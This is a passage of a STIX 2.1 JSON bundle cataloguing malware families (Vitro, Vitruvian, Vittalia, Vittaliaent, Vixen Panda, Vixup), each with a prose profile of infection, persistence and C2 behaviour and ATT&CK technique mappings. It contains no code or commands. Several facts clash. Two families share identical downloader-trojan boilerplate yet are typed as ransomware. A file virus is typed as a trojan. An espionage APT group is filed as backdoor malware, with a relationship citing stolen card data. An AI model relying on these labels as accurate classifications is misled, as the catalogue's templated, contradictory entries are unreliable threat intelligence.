      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Visicom exhibits technique T1185 (Browser Session Hijacking (Search redirection and ad injection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34b81fc1-7068-571c-b3e5-9d8c7696e67c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--674ca4c4-e21f-5e86-a369-4c28a40d1aeb",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Visicom exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f098d9f1-5149-55e8-8527-e04393894652",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vitro",
      "description": "Virus:Win32/Vitro (frequently associated with the **Virut** malware family) is a highly aggressive, classic polymorphic file infector. Unlike modern trojans that simply drop a malicious payload, Vitro actively seeks out and permanently modifies legitimate executable files (`.exe`, `.scr`) across the entire infected system and attached network drives, appending its malicious code to them. This makes it incredibly difficult to eradicate.<br><br><b>Understanding Vitro (Virut)</b><br>To a victim, a Vitro infection often results in a severely unstable computer, as the aggressive file modification process frequently corrupts legitimate applications. For a security analyst, an active file infector is a nightmare scenario. Because it infects *existing* files, simply deleting the 'malware' is impossible\u2014you would have to delete every legitimate program on the computer. Furthermore, Vitro often acts as a backdoor, connecting infected machines to an IRC-based botnet to download secondary payloads (like scareware or adware).<br><br><b>Execution and File Infection Mechanics</b><br>Vitro is typically encountered via drive-by downloads or peer-to-peer (P2P) file sharing (`T1189`). When the initial Vitro payload executes, it injects its core infection routine directly into a core system process (like `winlogon.exe` or `explorer.exe`) (`T1055`). Operating from memory, it begins scanning the hard drive and any mapped network shares for target executables. When it finds a target (e.g., `calc.exe` or a user's custom application), it utilizes complex polymorphism (`T1027`) to append a mutated, uniquely encrypted version of its viral code to the end of the file, modifying the executable's entry point (`T1546`). Now, whenever the user runs the infected `calc.exe`, the viral code executes first (infecting more files) before silently passing control back to the original calculator program.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total, destructive compromise of the operating system and any attached file shares. Incident responders will observe massive, unexplained file modification activity across the disk. Executables will suddenly increase in size. EDR platforms will generate overwhelming alerts as every application launched by the user attempts to perform malicious injections. Network logs will often show IRC traffic (port 6667) as the virus connects to its botnet C2. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vitro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vitro"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0cc42ee6-7ce6-5a53-82e3-d3316dcf5af3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f098d9f1-5149-55e8-8527-e04393894652",
      "target_ref": "attack-pattern--97755989-abc3-5b4d-b6e3-a1dc72f28f81",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vitro exhibits technique T1546 (Event Triggered Execution (File Infection / Entry Point Modification))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9401217c-aef4-5d51-8622-18bf8e72d51d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f098d9f1-5149-55e8-8527-e04393894652",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vitro exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b4a6715-1fa8-5437-8543-fba2a16f5c46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f098d9f1-5149-55e8-8527-e04393894652",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vitro exhibits technique T1027 (Obfuscated Files or Information: Polymorphic Code)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--933a8da9-46ad-5c6e-87b6-42564a43ea8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f098d9f1-5149-55e8-8527-e04393894652",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vitro exhibits technique T1071.001 (Application Layer Protocol: IRC (Botnet C2))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a8b6d6c4-f0c7-55bd-a40f-1107dff17b7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vitruvian",
      "description": "<h3>Executive Summary</h3>\nVitruvian is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nVitruvian is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Vitruvian operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Vitruvian ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Vitruvian receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Vitruvian infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Vitruvian executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Vitruvian frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Vitruvian",
        "Downloader.Vitruvian",
        "Win32/Vitruvian"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vitruvian",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vitruvian"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f69e0e60-a67f-5fbb-bbf2-cfe1b2e7d73a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8b6d6c4-f0c7-55bd-a40f-1107dff17b7d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vitruvian exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2333856b-e4a7-5120-83d5-347aa41ab71f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8b6d6c4-f0c7-55bd-a40f-1107dff17b7d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vitruvian exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7cb51e0f-279a-5bac-a87d-67ed32b2a0e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8b6d6c4-f0c7-55bd-a40f-1107dff17b7d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vitruvian exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3cf390e3-f5aa-591b-a398-f4fc1d92f8f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vittalia",
      "description": "Vittalia (documented across endpoint telemetry as Adware.Vittalia, PUP.Optional.Vittalia, and PUA:Win32/Vittalia) is a persistent adware bundler, browser hijacker, and user telemetry collector documented by Trend Micro, Malwarebytes, and Kaspersky. Primarily distributed bundled with third-party software downloads, Vittalia alters default search engines, modifies homepage settings, and installs unrequested browser helper objects across Google Chrome, Mozilla Firefox, and Microsoft Edge. The software establishes persistence via Windows Scheduled Tasks and registry Run keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. Once active, Vittalia injects contextual pop-up and banner advertisements into active web browsing sessions, monitors search keywords, and sends non-personally identifiable telemetry to advertising servers, causing noticeable browser degradation and bandwidth consumption. (Observed samples in benchmark: 2,965)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Vittalia",
        "PUP.Optional.Vittalia",
        "PUA:Win32/Vittalia",
        "BrowserHijacker.Vittalia",
        "Adware.Win32.Vittalia",
        "Win32/Vittalia"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vittalia",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vittalia"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ba99d38-d938-5567-b272-320621c7ff77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3cf390e3-f5aa-591b-a398-f4fc1d92f8f4",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vittalia exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a19aeda3-1235-56ee-b465-5ebadf50220a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3cf390e3-f5aa-591b-a398-f4fc1d92f8f4",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vittalia exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Using tasks for persistent, recurring execution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a538edff-3d22-502d-8d5e-a2538a2bcdc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3cf390e3-f5aa-591b-a398-f4fc1d92f8f4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vittalia exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17423ef8-5185-5f4b-8b39-fc8702f74e9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3cf390e3-f5aa-591b-a398-f4fc1d92f8f4",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vittalia exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79c9e2bb-16b9-5117-b832-ef2160c8dc4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3cf390e3-f5aa-591b-a398-f4fc1d92f8f4",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vittalia exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--709ba67f-e65a-57cc-a967-be50910750a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3cf390e3-f5aa-591b-a398-f4fc1d92f8f4",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vittalia exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--403b86ea-9d60-5493-ab5d-52db1d0126ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vittaliaent",
      "description": "Vittaliaent (cataloged by security vendors under detections including Adware:Win32/Vittaliaent, Program:Win32/Vittalia, PUA:Win32/Vittalia, and AdWare.Win32.Vittalia) is an intrusive adware and Potentially Unwanted Application (PUA) bundleware framework active since 2015. Deployed through aggressive Pay-Per-Install (PPI) monetization networks and misleading freeware installation packages, Vittaliaent utilizes deceptive dark patterns during software setup to bundle itself without transparent user agreement. Once installed on a Windows endpoint, Vittaliaent registers background autostart services, injects helper extensions into major web browsers (Google Chrome, Mozilla Firefox, Microsoft Edge), and alters DNS or HOSTS settings to hijack web traffic. The application injects aggressive commercial pop-ups, banner advertisements, and sponsored hyperlinks into visited websites, while redirecting search queries to commercial affiliate tracking engines. Vittaliaent also deploys persistent watchdog services that monitor registry run keys, automatically restoring adware components if deleted by the user. (Observed samples in benchmark: 158)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Vittaliaent",
        "Program:Win32/Vittalia",
        "PUA:Win32/Vittalia",
        "AdWare.Win32.Vittalia",
        "Win32/Vittalia"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vittaliaent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vittaliaent"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c80cb517-fb27-5c6c-9350-d1376e24fcaa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--403b86ea-9d60-5493-ab5d-52db1d0126ea",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vittaliaent exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ff7b56c-0e8c-5aba-a0cb-1193ed6b5f73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--403b86ea-9d60-5493-ab5d-52db1d0126ea",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vittaliaent exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e3b6aac-076b-5599-a30a-e5fe1b1e45de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--403b86ea-9d60-5493-ab5d-52db1d0126ea",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vittaliaent exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17707adf-be08-5db2-9214-9b6778a4ca7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--403b86ea-9d60-5493-ab5d-52db1d0126ea",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vittaliaent exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0d69e32-eb75-55e0-b93f-2c0963f755a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--403b86ea-9d60-5493-ab5d-52db1d0126ea",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vittaliaent exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d6d91182-fbbd-5f09-8e4f-295c8054fa0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vixenpanda",
      "description": "<h3>Executive Summary</h3>\nVixen Panda (also widely tracked by the cybersecurity community as APT15, Ke3chang, and Playful Dragon) is a highly sophisticated, state-sponsored Advanced Persistent Threat (APT) group linked to the People's Republic of China. Active since at least 2010, the group focuses exclusively on cyber-espionage, targeting government ministries, diplomatic missions, and military contractors across Europe, the Middle East, and the Americas.\n\n<h3>Technical Capabilities and Attack Lifecycle</h3>\nVixen Panda is characterized by its patience, meticulous target profiling, and use of custom, heavily obfuscated malware frameworks designed to operate silently within high-security environments for years without detection.\n\nThe group's operational lifecycle includes:\n<ul>\n<li><strong>Initial Compromise:</strong> Attacks begin with highly tailored spear-phishing campaigns. These emails are often crafted using stolen, legitimate geopolitical documents to lower suspicion, containing zero-day exploits or weaponized macros.</li>\n<li><strong>Custom Tooling (Mirage/MirageFox):</strong> Once initial access is achieved, Vixen Panda deploys its signature custom backdoors, such as Mirage, MirageFox, or RoyalDNS. These tools are engineered for deep persistence and covert command-and-control (C2) communication, often tunneling traffic through DNS or utilizing compromised legitimate websites as proxies.</li>\n<li><strong>Lateral Movement:</strong> The group relies heavily on \"Living off the Land\" (LotL) techniques. They utilize compromised administrative credentials, Windows Management Instrumentation (WMI), and native tools to move laterally, strictly avoiding the deployment of unnecessary malware that might trigger EDR alerts.</li>\n<li><strong>Data Exfiltration:</strong> The ultimate goal is intelligence gathering. Vixen Panda systematically targets diplomatic cables, defense blueprints, and sensitive geopolitical communications, encrypting the data and exfiltrating it via covert channels.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA Vixen Panda compromise is a critical national security incident. The group's primary objective is the theft of highly classified intelligence, which directly undermines the geopolitical standing and defense capabilities of targeted nations.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>Advanced Threat Hunting:</strong> Standard perimeter defenses are ineffective against Vixen Panda. Organizations must employ dedicated threat hunting teams utilizing raw EDR telemetry to search for anomalous behavioral patterns, such as unusual administrative tool usage or anomalous DNS queries.</li>\n<li><strong>Strict Network Segmentation:</strong> Critical data repositories and classified networks must be heavily segmented (or fully air-gapped) from the general corporate network, with strict access control lists (ACLs) and comprehensive logging of all cross-boundary traffic.</li>\n<li><strong>Zero Trust Architecture:</strong> Implement a Zero Trust security model, enforcing Multi-Factor Authentication (MFA) and continuous authorization for all internal network access, severely limiting the group's ability to move laterally using compromised credentials.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "APT15",
        "Ke3chang",
        "Playful Dragon",
        "Mirage"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vixenpanda",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vixenpanda"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86e1e01b-d43b-547e-88a0-2c379caf3afb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6d91182-fbbd-5f09-8e4f-295c8054fa0b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vixenpanda exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cf28368-5933-5b0f-a301-53957cce3a12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6d91182-fbbd-5f09-8e4f-295c8054fa0b",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vixenpanda exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2db571a3-f754-5137-8662-de922c6359e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6d91182-fbbd-5f09-8e4f-295c8054fa0b",
      "target_ref": "attack-pattern--fc3da9a3-2468-5159-ba4e-35accdddbdb0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vixenpanda exhibits technique T1071.004 (Application Layer Protocol: DNS (Exfiltrating stolen card data via DNS tunneling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0e132c2-08d7-53b9-b4b4-6cba135972f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6d91182-fbbd-5f09-8e4f-295c8054fa0b",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vixenpanda exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d4db803-4ae9-5816-9459-da62606961d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6d91182-fbbd-5f09-8e4f-295c8054fa0b",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vixenpanda exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c08e4721-1347-5c82-a77c-038083212c4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vixup",
      "description": "<h3>Executive Summary</h3>\nVixup is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nVixup is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Vixup operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Vixup ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Vixup receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Vixup infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Vixup executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Vixup frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Vixup",
        "Downloader.Vixup",
        "Win32/Vixup"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vixup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vixup"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ad6bbe1-ed58-55b5-b319-077fd84c370a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c08e4721-1347-5c82-a77c-038083212c4f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vixup exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f5da597-31aa-5558-9dd1-a69056cb398a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c08e4721-1347-5c82-a77c-038083212c4f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vixup exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3db7a503-127f-571a-b450-e8ab80252e08",
